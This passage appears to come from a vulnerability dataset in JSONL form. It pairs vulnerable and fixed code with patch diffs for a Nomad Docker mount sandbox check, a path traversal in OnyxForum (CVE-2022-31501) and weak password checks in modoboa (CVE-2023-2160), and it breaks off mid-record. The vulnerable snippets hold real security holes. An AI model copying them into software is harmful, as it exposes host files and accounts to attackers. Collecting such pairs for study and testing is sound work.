driverConfig.ShmSize != 0 {\n\t\thostConfig.ShmSize = driverConfig.ShmSize\n\t}\n\n\t// set DNS servers\n\tfor _, ip := range driverConfig.DNSServers {\n\t\tif net.ParseIP(ip) != nil {\n\t\t\thostConfig.DNS = append(hostConfig.DNS, ip)\n\t\t} else {\n\t\t\tlogger.Error(\"invalid ip address for container dns server\", \"ip\", ip)\n\t\t}\n\t}\n\n\t// Setup devices\n\tfor _, device := range driverConfig.Devices {\n\t\tdd, err := device.toDockerDevice()\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\t\thostConfig.Devices = append(hostConfig.Devices, dd)\n\t}\n\tfor _, device := range task.Devices {\n\t\thostConfig.Devices = append(hostConfig.Devices, docker.Device{\n\t\t\tPathOnHost:        device.HostPath,\n\t\t\tPathInContainer:   device.TaskPath,\n\t\t\tCgroupPermissions: device.Permissions,\n\t\t})\n\t}\n\n\t// Setup mounts\n\tfor _, m := range driverConfig.Mounts {\n\t\thm, err := m.toDockerHostMount()\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\n\t\tif hm.Type == \"bind\" {\n\t\t\thm.Source = expandPath(task.TaskDir().Dir, hm.Source)\n\n\t\t\t// paths inside alloc dir are always allowed as they mount within a container, and treated as relative to task dir\n\t\t\tif !d.config.Volumes.Enabled && !isParentPath(task.AllocDir, hm.Source) {\n\t\t\t\treturn c, fmt.Errorf(\"volumes are not enabled; cannot mount host path: %q %q\", hm.Source, task.AllocDir)\n\t\t\t}\n\t\t}\n\n\t\thostConfig.Mounts = append(hostConfig.Mounts, hm)\n\t}\n\n\tfor _, m := range task.Mounts {\n\t\thm := docker.HostMount{\n\t\t\tType:     \"bind\",\n\t\t\tTarget:   m.TaskPath,\n\t\t\tSource:   m.HostPath,\n\t\t\tReadOnly: m.Readonly,\n\t\t}\n\n\t\t// MountPropagation is only supported by Docker on Linux:\n\t\t// https://docs.docker.com/storage/bind-mounts/#configure-bind-propagation\n\t\tif runtime.GOOS == \"linux\" {\n\t\t\thm.BindOptions = &docker.BindOptions{\n\t\t\t\tPropagation: userMountToUnixMount[m.PropagationMode],\n\t\t\t}\n\t\t}\n\n\t\thostConfig.Mounts = append(hostConfig.Mounts, hm)\n\t}\n\n\t// set DNS search domains and extra hosts\n\thostConfig.DNSSearch = driverConfig.DNSSearchDomains\n\thostConfig.DNSOptions = driverConfig.DNSOptions\n\thostConfig.ExtraHosts = driverConfig.ExtraHosts\n\n\thostConfig.IpcMode = driverConfig.IPCMode\n\thostConfig.PidMode = driverConfig.PidMode\n\thostConfig.UTSMode = driverConfig.UTSMode\n\thostConfig.UsernsMode = driverConfig.UsernsMode\n\thostConfig.SecurityOpt = driverConfig.SecurityOpt\n\thostConfig.Sysctls = driverConfig.Sysctl\n\n\tulimits, err := sliceMergeUlimit(driverConfig.Ulimit)\n\tif err != nil {\n\t\treturn c, fmt.Errorf(\"failed to parse ulimit configuration: %v\", err)\n\t}\n\thostConfig.Ulimits = ulimits\n\n\thostConfig.ReadonlyRootfs = driverConfig.ReadonlyRootfs\n\n\t// set the docker network mode\n\thostConfig.NetworkMode = driverConfig.NetworkMode\n\n\t// if the driver config does not specify a network mode then try to use the\n\t// shared alloc network\n\tif hostConfig.NetworkMode == \"\" {\n\t\tif task.NetworkIsolation != nil && task.NetworkIsolation.Path != \"\" {\n\t\t\t// find the previously created parent container to join networks with\n\t\t\tnetMode := fmt.Sprintf(\"container:%s\", task.NetworkIsolation.Labels[dockerNetSpecLabelKey])\n\t\t\tlogger.Debug(\"configuring network mode for task group\", \"network_mode\", netMode)\n\t\t\thostConfig.NetworkMode = netMode\n\t\t} else {\n\t\t\t// docker default\n\t\t\tlogger.Debug(\"networking mode not specified; using default\")\n\t\t\thostConfig.NetworkMode = \"default\"\n\t\t}\n\t}\n\n\t// Setup port mapping and exposed ports\n\tif len(task.Resources.NomadResources.Networks) == 0 {\n\t\tif len(driverConfig.PortMap) > 0 {\n\t\t\treturn c, fmt.Errorf(\"Trying to map ports but no network interface is available\")\n\t\t}\n\t} else {\n\t\t// TODO add support for more than one network\n\t\tnetwork := task.Resources.NomadResources.Networks[0]\n\t\tpublishedPorts := map[docker.Port][]docker.PortBinding{}\n\t\texposedPorts := map[docker.Port]struct{}{}\n\n\t\tfor _, port := range network.ReservedPorts {\n\t\t\t// By default we will map the allocated port 1:1 to the container\n\t\t\tcontainerPortInt := port.Value\n\n\t\t\t// If the user has mapped a port using port_map we'll change it here\n\t\t\tif mapped, ok := driverConfig.PortMap[port.Label]; ok {\n\t\t\t\tcontainerPortInt = mapped\n\t\t\t}\n\n\t\t\thostPortStr := strconv.Itoa(port.Value)\n\t\t\tcontainerPort := docker.Port(strconv.Itoa(containerPortInt))\n\n\t\t\tpublishedPorts[containerPort+\"/tcp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tpublishedPorts[containerPort+\"/udp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tlogger.Debug(\"allocated static port\", \"ip\", network.IP, \"port\", port.Value)\n\n\t\t\texposedPorts[containerPort+\"/tcp\"] = struct{}{}\n\t\t\texposedPorts[containerPort+\"/udp\"] = struct{}{}\n\t\t\tlogger.Debug(\"exposed port\", \"port\", port.Value)\n\t\t}\n\n\t\tfor _, port := range network.DynamicPorts {\n\t\t\t// By default we will map the allocated port 1:1 to the container\n\t\t\tcontainerPortInt := port.Value\n\n\t\t\t// If the user has mapped a port using port_map we'll change it here\n\t\t\tif mapped, ok := driverConfig.PortMap[port.Label]; ok {\n\t\t\t\tcontainerPortInt = mapped\n\t\t\t}\n\n\t\t\thostPortStr := strconv.Itoa(port.Value)\n\t\t\tcontainerPort := docker.Port(strconv.Itoa(containerPortInt))\n\n\t\t\tpublishedPorts[containerPort+\"/tcp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tpublishedPorts[containerPort+\"/udp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tlogger.Debug(\"allocated mapped port\", \"ip\", network.IP, \"port\", port.Value)\n\n\t\t\texposedPorts[containerPort+\"/tcp\"] = struct{}{}\n\t\t\texposedPorts[containerPort+\"/udp\"] = struct{}{}\n\t\t\tlogger.Debug(\"exposed port\", \"port\", containerPort)\n\t\t}\n\n\t\thostConfig.PortBindings = publishedPorts\n\t\tconfig.ExposedPorts = exposedPorts\n\t}\n\n\t// If the user specified a custom command to run, we'll inject it here.\n\tif driverConfig.Command != \"\" {\n\t\t// Validate command\n\t\tif err := validateCommand(driverConfig.Command, \"args\"); err != nil {\n\t\t\treturn c, err\n\t\t}\n\n\t\tcmd := []string{driverConfig.Command}\n\t\tif len(driverConfig.Args) != 0 {\n\t\t\tcmd = append(cmd, driverConfig.Args...)\n\t\t}\n\t\tlogger.Debug(\"setting container startup command\", \"command\", strings.Join(cmd, \" \"))\n\t\tconfig.Cmd = cmd\n\t} else if len(driverConfig.Args) != 0 {\n\t\tconfig.Cmd = driverConfig.Args\n\t}\n\n\tif len(driverConfig.Labels) > 0 {\n\t\tconfig.Labels = driverConfig.Labels\n\t}\n\n\tlabels := make(map[string]string, len(driverConfig.Labels)+1)\n\tfor k, v := range driverConfig.Labels {\n\t\tlabels[k] = v\n\t}\n\tlabels[dockerLabelAllocID] = task.AllocID\n\tconfig.Labels = labels\n\tlogger.Debug(\"applied labels on the container\", \"labels\", config.Labels)\n\n\tconfig.Env = task.EnvList()\n\n\tcontainerName := fmt.Sprintf(\"%s-%s\", strings.Replace(task.Name, \"/\", \"_\", -1), task.AllocID)\n\tlogger.Debug(\"setting container name\", \"container_name\", containerName)\n\n\tvar networkingConfig *docker.NetworkingConfig\n\tif len(driverConfig.NetworkAliases) > 0 || driverConfig.IPv4Address != \"\" || driverConfig.IPv6Address != \"\" {\n\t\tnetworkingConfig = &docker.NetworkingConfig{\n\t\t\tEndpointsConfig: map[string]*docker.EndpointConfig{\n\t\t\t\thostConfig.NetworkMode: {},\n\t\t\t},\n\t\t}\n\t}\n\n\tif len(driverConfig.NetworkAliases) > 0 {\n\t\tnetworkingConfig.EndpointsConfig[hostConfig.NetworkMode].Aliases = driverConfig.NetworkAliases\n\t\tlogger.Debug(\"setting container network aliases\", \"network_mode\", hostConfig.NetworkMode,\n\t\t\t\"network_aliases\", strings.Join(driverConfig.NetworkAliases, \", \"))\n\t}\n\n\tif driverConfig.IPv4Address != \"\" || driverConfig.IPv6Address != \"\" {\n\t\tnetworkingConfig.EndpointsConfig[hostConfig.NetworkMode].IPAMConfig = &docker.EndpointIPAMConfig{\n\t\t\tIPv4Address: driverConfig.IPv4Address,\n\t\t\tIPv6Address: driverConfig.IPv6Address,\n\t\t}\n\t\tlogger.Debug(\"setting container network configuration\", \"network_mode\", hostConfig.NetworkMode,\n\t\t\t\"ipv4_address\", driverConfig.IPv4Address, \"ipv6_address\", driverConfig.IPv6Address)\n\t}\n\n\tif driverConfig.MacAddress != \"\" {\n\t\tconfig.MacAddress = driverConfig.MacAddress\n\t\tlogger.Debug(\"setting container mac address\", \"mac_address\", config.MacAddress)\n\t}\n\n\treturn docker.CreateContainerOptions{\n\t\tName:             containerName,\n\t\tConfig:           config,\n\t\tHostConfig:       hostConfig,\n\t\tNetworkingConfig: networkingConfig,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_260_1", "commit": "9c1073d9633691ff7ba8804f59c68b822af521bd", "file_path": "drivers/docker/driver.go", "start_line": 675, "end_line": 1061, "snippet": "func (d *Driver) createContainerConfig(task *drivers.TaskConfig, driverConfig *TaskConfig,\n\timageID string) (docker.CreateContainerOptions, error) {\n\n\t// ensure that PortMap variables are populated early on\n\ttask.Env = taskenv.SetPortMapEnvs(task.Env, driverConfig.PortMap)\n\n\tlogger := d.logger.With(\"task_name\", task.Name)\n\tvar c docker.CreateContainerOptions\n\tif task.Resources == nil {\n\t\t// Guard against missing resources. We should never have been able to\n\t\t// schedule a job without specifying this.\n\t\tlogger.Error(\"task.Resources is empty\")\n\t\treturn c, fmt.Errorf(\"task.Resources is empty\")\n\t}\n\n\tbinds, err := d.containerBinds(task, driverConfig)\n\tif err != nil {\n\t\treturn c, err\n\t}\n\tlogger.Trace(\"binding volumes\", \"volumes\", binds)\n\n\t// create the config block that will later be consumed by go-dockerclient\n\tconfig := &docker.Config{\n\t\tImage:      imageID,\n\t\tEntrypoint: driverConfig.Entrypoint,\n\t\tHostname:   driverConfig.Hostname,\n\t\tUser:       task.User,\n\t\tTty:        driverConfig.TTY,\n\t\tOpenStdin:  driverConfig.Interactive,\n\t}\n\n\tif driverConfig.WorkDir != \"\" {\n\t\tconfig.WorkingDir = driverConfig.WorkDir\n\t}\n\n\thostConfig := &docker.HostConfig{\n\t\tMemory:    task.Resources.LinuxResources.MemoryLimitBytes,\n\t\tCPUShares: task.Resources.LinuxResources.CPUShares,\n\n\t\t// Binds are used to mount a host volume into the container. We mount a\n\t\t// local directory for storage and a shared alloc directory that can be\n\t\t// used to share data between different tasks in the same task group.\n\t\tBinds: binds,\n\n\t\tStorageOpt:   driverConfig.StorageOpt,\n\t\tVolumeDriver: driverConfig.VolumeDriver,\n\n\t\tPidsLimit: driverConfig.PidsLimit,\n\t}\n\n\tif _, ok := task.DeviceEnv[nvidiaVisibleDevices]; ok {\n\t\tif !d.gpuRuntime {\n\t\t\treturn c, fmt.Errorf(\"requested docker-runtime %q was not found\", d.config.GPURuntimeName)\n\t\t}\n\t\thostConfig.Runtime = d.config.GPURuntimeName\n\t}\n\n\t// Calculate CPU Quota\n\t// cfs_quota_us is the time per core, so we must\n\t// multiply the time by the number of cores available\n\t// See https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/resource_management_guide/sec-cpu\n\tif driverConfig.CPUHardLimit {\n\t\tnumCores := runtime.NumCPU()\n\t\tif driverConfig.CPUCFSPeriod < 0 || driverConfig.CPUCFSPeriod > 1000000 {\n\t\t\treturn c, fmt.Errorf(\"invalid value for cpu_cfs_period\")\n\t\t}\n\t\tif driverConfig.CPUCFSPeriod == 0 {\n\t\t\tdriverConfig.CPUCFSPeriod = task.Resources.LinuxResources.CPUPeriod\n\t\t}\n\t\thostConfig.CPUPeriod = driverConfig.CPUCFSPeriod\n\t\thostConfig.CPUQuota = int64(task.Resources.LinuxResources.PercentTicks*float64(driverConfig.CPUCFSPeriod)) * int64(numCores)\n\t}\n\n\t// Windows does not support MemorySwap/MemorySwappiness #2193\n\tif runtime.GOOS == \"windows\" {\n\t\thostConfig.MemorySwap = 0\n\t\thostConfig.MemorySwappiness = -1\n\t} else {\n\t\thostConfig.MemorySwap = task.Resources.LinuxResources.MemoryLimitBytes // MemorySwap is memory + swap.\n\t}\n\n\tloggingDriver := driverConfig.Logging.Type\n\tif loggingDriver == \"\" {\n\t\tloggingDriver = driverConfig.Logging.Driver\n\t}\n\n\thostConfig.LogConfig = docker.LogConfig{\n\t\tType:   loggingDriver,\n\t\tConfig: driverConfig.Logging.Config,\n\t}\n\n\tif hostConfig.LogConfig.Type == \"\" && hostConfig.LogConfig.Config == nil {\n\t\tlogger.Trace(\"no docker log driver provided, defaulting to json-file\")\n\t\thostConfig.LogConfig.Type = \"json-file\"\n\t\thostConfig.LogConfig.Config = map[string]string{\n\t\t\t\"max-file\": \"2\",\n\t\t\t\"max-size\": \"2m\",\n\t\t}\n\t}\n\n\tlogger.Debug(\"configured resources\", \"memory\", hostConfig.Memory,\n\t\t\"cpu_shares\", hostConfig.CPUShares, \"cpu_quota\", hostConfig.CPUQuota,\n\t\t\"cpu_period\", hostConfig.CPUPeriod)\n\tlogger.Debug(\"binding directories\", \"binds\", hclog.Fmt(\"%#v\", hostConfig.Binds))\n\n\t//  set privileged mode\n\tif driverConfig.Privileged && !d.config.AllowPrivileged {\n\t\treturn c, fmt.Errorf(`Docker privileged mode is disabled on this Nomad agent`)\n\t}\n\thostConfig.Privileged = driverConfig.Privileged\n\n\t// set capabilities\n\thostCapsWhitelistConfig := d.config.AllowCaps\n\thostCapsWhitelist := make(map[string]struct{})\n\tfor _, cap := range hostCapsWhitelistConfig {\n\t\tcap = strings.ToLower(strings.TrimSpace(cap))\n\t\thostCapsWhitelist[cap] = struct{}{}\n\t}\n\n\tif _, ok := hostCapsWhitelist[\"all\"]; !ok {\n\t\teffectiveCaps, err := tweakCapabilities(\n\t\t\tstrings.Split(dockerBasicCaps, \",\"),\n\t\t\tdriverConfig.CapAdd,\n\t\t\tdriverConfig.CapDrop,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\t\tvar missingCaps []string\n\t\tfor _, cap := range effectiveCaps {\n\t\t\tcap = strings.ToLower(cap)\n\t\t\tif _, ok := hostCapsWhitelist[cap]; !ok {\n\t\t\t\tmissingCaps = append(missingCaps, cap)\n\t\t\t}\n\t\t}\n\t\tif len(missingCaps) > 0 {\n\t\t\treturn c, fmt.Errorf(\"Docker driver doesn't have the following caps whitelisted on this Nomad agent: %s\", missingCaps)\n\t\t}\n\t}\n\n\thostConfig.CapAdd = driverConfig.CapAdd\n\thostConfig.CapDrop = driverConfig.CapDrop\n\n\t// set SHM size\n\tif driverConfig.ShmSize != 0 {\n\t\thostConfig.ShmSize = driverConfig.ShmSize\n\t}\n\n\t// set DNS servers\n\tfor _, ip := range driverConfig.DNSServers {\n\t\tif net.ParseIP(ip) != nil {\n\t\t\thostConfig.DNS = append(hostConfig.DNS, ip)\n\t\t} else {\n\t\t\tlogger.Error(\"invalid ip address for container dns server\", \"ip\", ip)\n\t\t}\n\t}\n\n\t// Setup devices\n\tfor _, device := range driverConfig.Devices {\n\t\tdd, err := device.toDockerDevice()\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\t\thostConfig.Devices = append(hostConfig.Devices, dd)\n\t}\n\tfor _, device := range task.Devices {\n\t\thostConfig.Devices = append(hostConfig.Devices, docker.Device{\n\t\t\tPathOnHost:        device.HostPath,\n\t\t\tPathInContainer:   device.TaskPath,\n\t\t\tCgroupPermissions: device.Permissions,\n\t\t})\n\t}\n\n\t// Setup mounts\n\tfor _, m := range driverConfig.Mounts {\n\t\thm, err := m.toDockerHostMount()\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\n\t\tswitch hm.Type {\n\t\tcase \"bind\":\n\t\t\thm.Source = expandPath(task.TaskDir().Dir, hm.Source)\n\n\t\t\t// paths inside alloc dir are always allowed as they mount within\n\t\t\t// a container, and treated as relative to task dir\n\t\t\tif !d.config.Volumes.Enabled && !isParentPath(task.AllocDir, hm.Source) {\n\t\t\t\treturn c, fmt.Errorf(\n\t\t\t\t\t\"volumes are not enabled; cannot mount host path: %q %q\",\n\t\t\t\t\thm.Source, task.AllocDir)\n\t\t\t}\n\t\tcase \"tmpfs\":\n\t\t\t// no source, so no sandbox check required\n\t\tdefault: // \"volume\", but also any new thing that comes along\n\t\t\tif !d.config.Volumes.Enabled {\n\t\t\t\treturn c, fmt.Errorf(\n\t\t\t\t\t\"volumes are not enabled; cannot mount volume: %q\", hm.Source)\n\t\t\t}\n\t\t}\n\n\t\thostConfig.Mounts = append(hostConfig.Mounts, hm)\n\t}\n\n\tfor _, m := range task.Mounts {\n\t\thm := docker.HostMount{\n\t\t\tType:     \"bind\",\n\t\t\tTarget:   m.TaskPath,\n\t\t\tSource:   m.HostPath,\n\t\t\tReadOnly: m.Readonly,\n\t\t}\n\n\t\t// MountPropagation is only supported by Docker on Linux:\n\t\t// https://docs.docker.com/storage/bind-mounts/#configure-bind-propagation\n\t\tif runtime.GOOS == \"linux\" {\n\t\t\thm.BindOptions = &docker.BindOptions{\n\t\t\t\tPropagation: userMountToUnixMount[m.PropagationMode],\n\t\t\t}\n\t\t}\n\n\t\thostConfig.Mounts = append(hostConfig.Mounts, hm)\n\t}\n\n\t// set DNS search domains and extra hosts\n\thostConfig.DNSSearch = driverConfig.DNSSearchDomains\n\thostConfig.DNSOptions = driverConfig.DNSOptions\n\thostConfig.ExtraHosts = driverConfig.ExtraHosts\n\n\thostConfig.IpcMode = driverConfig.IPCMode\n\thostConfig.PidMode = driverConfig.PidMode\n\thostConfig.UTSMode = driverConfig.UTSMode\n\thostConfig.UsernsMode = driverConfig.UsernsMode\n\thostConfig.SecurityOpt = driverConfig.SecurityOpt\n\thostConfig.Sysctls = driverConfig.Sysctl\n\n\tulimits, err := sliceMergeUlimit(driverConfig.Ulimit)\n\tif err != nil {\n\t\treturn c, fmt.Errorf(\"failed to parse ulimit configuration: %v\", err)\n\t}\n\thostConfig.Ulimits = ulimits\n\n\thostConfig.ReadonlyRootfs = driverConfig.ReadonlyRootfs\n\n\t// set the docker network mode\n\thostConfig.NetworkMode = driverConfig.NetworkMode\n\n\t// if the driver config does not specify a network mode then try to use the\n\t// shared alloc network\n\tif hostConfig.NetworkMode == \"\" {\n\t\tif task.NetworkIsolation != nil && task.NetworkIsolation.Path != \"\" {\n\t\t\t// find the previously created parent container to join networks with\n\t\t\tnetMode := fmt.Sprintf(\"container:%s\", task.NetworkIsolation.Labels[dockerNetSpecLabelKey])\n\t\t\tlogger.Debug(\"configuring network mode for task group\", \"network_mode\", netMode)\n\t\t\thostConfig.NetworkMode = netMode\n\t\t} else {\n\t\t\t// docker default\n\t\t\tlogger.Debug(\"networking mode not specified; using default\")\n\t\t\thostConfig.NetworkMode = \"default\"\n\t\t}\n\t}\n\n\t// Setup port mapping and exposed ports\n\tif len(task.Resources.NomadResources.Networks) == 0 {\n\t\tif len(driverConfig.PortMap) > 0 {\n\t\t\treturn c, fmt.Errorf(\"Trying to map ports but no network interface is available\")\n\t\t}\n\t} else {\n\t\t// TODO add support for more than one network\n\t\tnetwork := task.Resources.NomadResources.Networks[0]\n\t\tpublishedPorts := map[docker.Port][]docker.PortBinding{}\n\t\texposedPorts := map[docker.Port]struct{}{}\n\n\t\tfor _, port := range network.ReservedPorts {\n\t\t\t// By default we will map the allocated port 1:1 to the container\n\t\t\tcontainerPortInt := port.Value\n\n\t\t\t// If the user has mapped a port using port_map we'll change it here\n\t\t\tif mapped, ok := driverConfig.PortMap[port.Label]; ok {\n\t\t\t\tcontainerPortInt = mapped\n\t\t\t}\n\n\t\t\thostPortStr := strconv.Itoa(port.Value)\n\t\t\tcontainerPort := docker.Port(strconv.Itoa(containerPortInt))\n\n\t\t\tpublishedPorts[containerPort+\"/tcp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tpublishedPorts[containerPort+\"/udp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tlogger.Debug(\"allocated static port\", \"ip\", network.IP, \"port\", port.Value)\n\n\t\t\texposedPorts[containerPort+\"/tcp\"] = struct{}{}\n\t\t\texposedPorts[containerPort+\"/udp\"] = struct{}{}\n\t\t\tlogger.Debug(\"exposed port\", \"port\", port.Value)\n\t\t}\n\n\t\tfor _, port := range network.DynamicPorts {\n\t\t\t// By default we will map the allocated port 1:1 to the container\n\t\t\tcontainerPortInt := port.Value\n\n\t\t\t// If the user has mapped a port using port_map we'll change it here\n\t\t\tif mapped, ok := driverConfig.PortMap[port.Label]; ok {\n\t\t\t\tcontainerPortInt = mapped\n\t\t\t}\n\n\t\t\thostPortStr := strconv.Itoa(port.Value)\n\t\t\tcontainerPort := docker.Port(strconv.Itoa(containerPortInt))\n\n\t\t\tpublishedPorts[containerPort+\"/tcp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tpublishedPorts[containerPort+\"/udp\"] = getPortBinding(network.IP, hostPortStr)\n\t\t\tlogger.Debug(\"allocated mapped port\", \"ip\", network.IP, \"port\", port.Value)\n\n\t\t\texposedPorts[containerPort+\"/tcp\"] = struct{}{}\n\t\t\texposedPorts[containerPort+\"/udp\"] = struct{}{}\n\t\t\tlogger.Debug(\"exposed port\", \"port\", containerPort)\n\t\t}\n\n\t\thostConfig.PortBindings = publishedPorts\n\t\tconfig.ExposedPorts = exposedPorts\n\t}\n\n\t// If the user specified a custom command to run, we'll inject it here.\n\tif driverConfig.Command != \"\" {\n\t\t// Validate command\n\t\tif err := validateCommand(driverConfig.Command, \"args\"); err != nil {\n\t\t\treturn c, err\n\t\t}\n\n\t\tcmd := []string{driverConfig.Command}\n\t\tif len(driverConfig.Args) != 0 {\n\t\t\tcmd = append(cmd, driverConfig.Args...)\n\t\t}\n\t\tlogger.Debug(\"setting container startup command\", \"command\", strings.Join(cmd, \" \"))\n\t\tconfig.Cmd = cmd\n\t} else if len(driverConfig.Args) != 0 {\n\t\tconfig.Cmd = driverConfig.Args\n\t}\n\n\tif len(driverConfig.Labels) > 0 {\n\t\tconfig.Labels = driverConfig.Labels\n\t}\n\n\tlabels := make(map[string]string, len(driverConfig.Labels)+1)\n\tfor k, v := range driverConfig.Labels {\n\t\tlabels[k] = v\n\t}\n\tlabels[dockerLabelAllocID] = task.AllocID\n\tconfig.Labels = labels\n\tlogger.Debug(\"applied labels on the container\", \"labels\", config.Labels)\n\n\tconfig.Env = task.EnvList()\n\n\tcontainerName := fmt.Sprintf(\"%s-%s\", strings.Replace(task.Name, \"/\", \"_\", -1), task.AllocID)\n\tlogger.Debug(\"setting container name\", \"container_name\", containerName)\n\n\tvar networkingConfig *docker.NetworkingConfig\n\tif len(driverConfig.NetworkAliases) > 0 || driverConfig.IPv4Address != \"\" || driverConfig.IPv6Address != \"\" {\n\t\tnetworkingConfig = &docker.NetworkingConfig{\n\t\t\tEndpointsConfig: map[string]*docker.EndpointConfig{\n\t\t\t\thostConfig.NetworkMode: {},\n\t\t\t},\n\t\t}\n\t}\n\n\tif len(driverConfig.NetworkAliases) > 0 {\n\t\tnetworkingConfig.EndpointsConfig[hostConfig.NetworkMode].Aliases = driverConfig.NetworkAliases\n\t\tlogger.Debug(\"setting container network aliases\", \"network_mode\", hostConfig.NetworkMode,\n\t\t\t\"network_aliases\", strings.Join(driverConfig.NetworkAliases, \", \"))\n\t}\n\n\tif driverConfig.IPv4Address != \"\" || driverConfig.IPv6Address != \"\" {\n\t\tnetworkingConfig.EndpointsConfig[hostConfig.NetworkMode].IPAMConfig = &docker.EndpointIPAMConfig{\n\t\t\tIPv4Address: driverConfig.IPv4Address,\n\t\t\tIPv6Address: driverConfig.IPv6Address,\n\t\t}\n\t\tlogger.Debug(\"setting container network configuration\", \"network_mode\", hostConfig.NetworkMode,\n\t\t\t\"ipv4_address\", driverConfig.IPv4Address, \"ipv6_address\", driverConfig.IPv6Address)\n\t}\n\n\tif driverConfig.MacAddress != \"\" {\n\t\tconfig.MacAddress = driverConfig.MacAddress\n\t\tlogger.Debug(\"setting container mac address\", \"mac_address\", config.MacAddress)\n\t}\n\n\treturn docker.CreateContainerOptions{\n\t\tName:             containerName,\n\t\tConfig:           config,\n\t\tHostConfig:       hostConfig,\n\t\tNetworkingConfig: networkingConfig,\n\t}, nil\n}"}], "vul_patch": "--- a/drivers/docker/driver.go\n+++ b/drivers/docker/driver.go\n@@ -178,12 +178,23 @@\n \t\t\treturn c, err\n \t\t}\n \n-\t\tif hm.Type == \"bind\" {\n+\t\tswitch hm.Type {\n+\t\tcase \"bind\":\n \t\t\thm.Source = expandPath(task.TaskDir().Dir, hm.Source)\n \n-\t\t\t// paths inside alloc dir are always allowed as they mount within a container, and treated as relative to task dir\n+\t\t\t// paths inside alloc dir are always allowed as they mount within\n+\t\t\t// a container, and treated as relative to task dir\n \t\t\tif !d.config.Volumes.Enabled && !isParentPath(task.AllocDir, hm.Source) {\n-\t\t\t\treturn c, fmt.Errorf(\"volumes are not enabled; cannot mount host path: %q %q\", hm.Source, task.AllocDir)\n+\t\t\t\treturn c, fmt.Errorf(\n+\t\t\t\t\t\"volumes are not enabled; cannot mount host path: %q %q\",\n+\t\t\t\t\thm.Source, task.AllocDir)\n+\t\t\t}\n+\t\tcase \"tmpfs\":\n+\t\t\t// no source, so no sandbox check required\n+\t\tdefault: // \"volume\", but also any new thing that comes along\n+\t\t\tif !d.config.Volumes.Enabled {\n+\t\t\t\treturn c, fmt.Errorf(\n+\t\t\t\t\t\"volumes are not enabled; cannot mount volume: %q\", hm.Source)\n \t\t\t}\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31501", "cve_description": "The ChaoticOnyx/OnyxForum repository before 2022-05-04 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ChaoticOnyx/OnyxForum", "patch_url": ["https://github.com/ChaoticOnyx/OnyxForum/commit/f25543dfc62a9694d7e4f67eebfa45e3de916053"], "programing_language": "Python", "vul_func": [{"id": "vul_py_263_1", "commit": "4077b49", "file_path": "modules/hub/hub/views.py", "start_line": 474, "end_line": 493, "snippet": "    def get(self):\n        server_id = request.args[\"server\"]\n        path = request.args[\"path\"]\n        servers = current_app.config[\"BYOND_SERVERS\"]\n\n        assert path\n        assert server_id\n\n        server = None\n\n        for srv in servers:\n            if srv.id == server_id:\n                server = srv\n                break\n\n        if server is None:\n            abort(404)\n\n        file_path = os.path.join(server.logs_path, path)\n        return send_file(file_path, as_attachment=True)"}], "fix_func": [{"id": "fix_py_263_1", "commit": "f25543d", "file_path": "modules/hub/hub/views.py", "start_line": 476, "end_line": 495, "snippet": "    def get(self):\n        server_id = request.args[\"server\"]\n        path = request.args[\"path\"]\n        servers = current_app.config[\"BYOND_SERVERS\"]\n\n        assert path\n        assert server_id\n\n        server = None\n\n        for srv in servers:\n            if srv.id == server_id:\n                server = srv\n                break\n\n        if server is None:\n            abort(404)\n\n        file_path = safe_join(server.logs_path, path)\n        return send_file(file_path, as_attachment=True)"}], "vul_patch": "--- a/modules/hub/hub/views.py\n+++ b/modules/hub/hub/views.py\n@@ -16,5 +16,5 @@\n         if server is None:\n             abort(404)\n \n-        file_path = os.path.join(server.logs_path, path)\n+        file_path = safe_join(server.logs_path, path)\n         return send_file(file_path, as_attachment=True)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-2160", "cve_description": "Weak Password Requirements in GitHub repository modoboa/modoboa prior to 2.1.0.\n\n", "cwe_info": {"CWE-521": {"name": "Weak Password Requirements", "description": "The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts."}}, "repo": "https://github.com/modoboa/modoboa", "patch_url": ["https://github.com/modoboa/modoboa/commit/130257c96a2392ada795785a91178e656e27015c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_92_1", "commit": "288f62a", "file_path": "modoboa/core/forms.py", "start_line": "79", "end_line": "95", "snippet": "    def clean(self):\n        super().clean()\n        if self.errors:\n            return self.cleaned_data\n        oldpassword = self.cleaned_data.get(\"oldpassword\")\n        newpassword = self.cleaned_data.get(\"newpassword\")\n        confirmation = self.cleaned_data.get(\"confirmation\")\n        if newpassword and confirmation:\n            if oldpassword:\n                if newpassword != confirmation:\n                    self.add_error(\"confirmation\", _(\"Passwords mismatch\"))\n                else:\n                    password_validation.validate_password(\n                        confirmation, self.instance)\n            else:\n                self.add_error(\"oldpassword\", _(\"This field is required.\"))\n        return self.cleaned_data"}], "fix_func": [{"id": "fix_py_92_1", "commit": "130257c", "file_path": "modoboa/core/forms.py", "start_line": "79", "end_line": "100", "snippet": "    def clean(self):\n        super().clean()\n        if self.errors:\n            return self.cleaned_data\n        oldpassword = self.cleaned_data.get(\"oldpassword\")\n        newpassword = self.cleaned_data.get(\"newpassword\")\n        confirmation = self.cleaned_data.get(\"confirmation\")\n        if newpassword and confirmation:\n            if oldpassword:\n                if newpassword != confirmation:\n                    self.add_error(\"confirmation\", _(\"Passwords mismatch\"))\n                else:\n                    